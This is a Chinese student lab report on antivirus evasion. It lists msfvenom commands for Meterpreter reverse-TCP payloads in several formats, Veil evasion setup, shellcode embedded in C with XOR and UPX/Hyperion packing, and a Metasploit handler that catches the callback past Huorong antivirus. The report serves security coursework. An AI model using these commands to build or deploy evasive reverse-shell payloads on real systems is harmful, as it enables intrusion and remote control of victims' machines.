20222422 2024-2025-1 《网络与系统攻防技术》实验三实验报告
一、实验内容
1、方法
- 对后门实验中的msf编码器进行进一步的探索使用,使用msfvenom指令生成如jar之类的文件,从而尝试达到免杀的目的;
- 通过Veil等工具对目标程序进行加壳或者其他操作来实现免杀;
- 使用C+ShellCode编程实现免杀;
2、应用
通过组合应用各种技术尽可能地实现恶意代码免杀或者是与杀软共生(如果成功实现了免杀的,简单语言描述原理,不要截图;与杀软共生的结果验证要截图)
3、拓展
用另一电脑配合进行实测,在杀软开启的情况下,可以成功运行程序并回连成功(注明电脑的杀软名称与版本)
二、实验过程
1、免杀方法测试之msf
(1)首先通过编辑器msf生成一个正常的后门程序,利用如下指令。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.131 PORT=2422 -f exe > 20222422tky_1.exe
(2)使用msfvenom指令生成后门程序,多次编码(-i 10代表编码10次),代码如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.198.131 LPORT=2422 -f exe > 20222422tky_2.exe
(3)生成jar文件,代码如下:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 -f jar > 20222422tky_3.jar
(4)生成php文件,代码如下:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 x> 20222422tky_4.php
(5)生成py文件,代码如下:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 -f py > 20222422tky_5.py
(6)登录VirusTotal网站,进行检测:
20222422tky_1:
20222422tky_2:
20222422tky_3:
20222422tky_4:
20222422tky_5:
2、免杀方法测试之Veil
(1)下载Veil,依次输入如下代码。
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install wine32
再依次输入:
apt-get install veil
sudo su
cd /usr/share/veil/config/
vim setup.sh
找到下图内容,按i键进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git,按ESC键,输入:wq退出;
运行veil进行安装:
发现报错,输入sudo /usr/share/veil/config/setup.sh --force --silent
,继续安装
完成安装,输入veil;
(2)输入use evasion
,进入Evil—Evasion:
输入list
来查看可使用的payload类型:
发现“c/meterpretermrev_tcp.py”是7号,所以输入use 7
:
设置反弹链接ip(Kali的ip):
set LHOST 192.168.198.131
设置端口:
set LPORT 2422
输入generate
,设置生成文件名称为20222422_veil:
输入cd /var/lib/veil/output/compiled/
进入文件夹,查看生成的.exe可执行文件:
将20222422_veil.exe文件传到主机中:
使用VirusTotal进行检测:
3.使用C + shellcode编程
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 -f c
来生成一段shellcode
输入touch 20222422tky.c
新建一个.c文件,并输入vim 20222422tky.c
进行编辑,将上面的代码复制并添加如下代码:
输入:wq
保存。
输入i686-w64-mingw32-g++ 20222422tky.c -o 20222422shellcode.exe
编译.c文件:
将.exe文件传到主机,测试免杀效果:
4.加壳
输入upx 20222422shellcode.exe -o upx20222422.exe
进行upx加壳:
验证upx20222422.exe:
先输入cd /usr/share/windows-resources/hyperion/
进入到hyperion文件,将20222422_veil.exe复制于此
再输入wine hyperion.exe -v 20222422_veil.exe 20222422_veil_jiami.exe
进行hyperion加壳:
将文件传到主机,测试免杀效果:
5 启动杀软,查看整体免杀效果
发现python语言编码出来得到的文件免杀效果很好
6.通过组合应用各种技术实现恶意代码免杀
通过使用技术: c + shellcode + 异或 + 压缩壳来实现
使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 -f c
生成一段shellcode
输入touch 20222422tky_2.c
生成.c文件,将shellcode代码复制并添加如下代码:
输入i686-w64-mingw32-g++ 20222422tky_2.c -o 20222422shellcode_2.exe
进行编译:
输入upx 20222422shellcode_2.exe -o upx20222422shellcode_2.exe
进行加壳:
将文件传到主机,并使用火绒检查此.exe所在文件夹:
发现未被识别出来,实现免杀。
7. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑版本:windows11
杀毒软件:火绒
输入msfconsole
进入控制台,依次输入:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.198.131
set LPORT 2422
exploit
在主机端启动upx20222422shellcode_2.exe文件:
使用火绒查杀结果如下:
三.问题与解决方案
问题一:发现文件不能直接拖动至主机,不能传输文件。下载winscp并进行相关配置,使用root账户传文件后发现没有权限。
问题一解决:配置winscp的时候使用普通用户连接后可正常传输文件。
问题二:在使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.131 PORT=2422 -f exe > 20222422tky_1.exe
和msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.198.131 LPORT=2422 -f exe > 20222422tky_2.exe
指令生成文件传到windows主机后发现一下就不见了。
问题二解决:关闭windows实时保护后可以正常传文件。
问题三:在安装veil的时候总是报错,无法完成安装。
问题三解决:先是发现kali虚拟机硬盘空间不足,按照csdn里的教程加了10g的内存,发现还是无法正常安装,之后使用指令sudo /usr/share/veil/config/setup.sh --force --silent
后得以正常安装。
四.学习感悟、思考
在这次实验中,我首先深入学习了MSF(Metasploit Framework)编码器的使用。通过使用msfvenom指令,我成功生成了包含恶意代码的JAR文件。这一步骤让我深刻理解了编码器的核心作用:通过对payload进行多次编码,使其难以被反病毒软件识别。尝试不同的编码器和编码次数,我发现可以有效绕过一些基本的杀毒软件检测,这让我对免杀技术有了初步的认识。
接下来,我学习了Veil工具的使用,这是一个专门用于生成免杀payload的工具。通过Veil,我成功对目标程序进行了加壳处理,这不仅增加了程序的复杂度,还进一步降低了被杀毒软件检测到的风险。这个过程中,我意识到,免杀技术并非一成不变,而是需要不断尝试和调整,以应对不断更新的杀毒软件。
最后,我尝试使用C语言和ShellCode编程来实现免杀。这一过程相对复杂,但极具挑战性。通过编写C程序,并将恶意ShellCode嵌入其中,我成功生成了一个看似无害的可执行文件。这种方法的优点在于,它可以使恶意代码更加隐蔽,但同时也需要较高的编程技巧和对系统底层的深入理解。
在组合应用各种技术的过程中,我深刻体会到了免杀技术的复杂性和多变性。通过不断调整和优化,我成功实现了恶意代码的免杀,使其能够在多个杀毒软件中“隐身”。这一过程中,我意识到,免杀的关键在于不断尝试和迭代,找到最适合当前环境的免杀方案。
通过这次实验,我不仅掌握了多种免杀技术的使用方法,还深刻理解了免杀技术的核心原理和实际应用。我意识到,免杀技术并非一蹴而就,而是需要不断尝试和调整的过程。同时,我也认识到了杀毒软件在网络安全中的重要性,以及免杀技术在网络安全领域的潜在威胁。因此,我将继续深入研究和学习网络安全相关知识,为未来的学习铺出道路。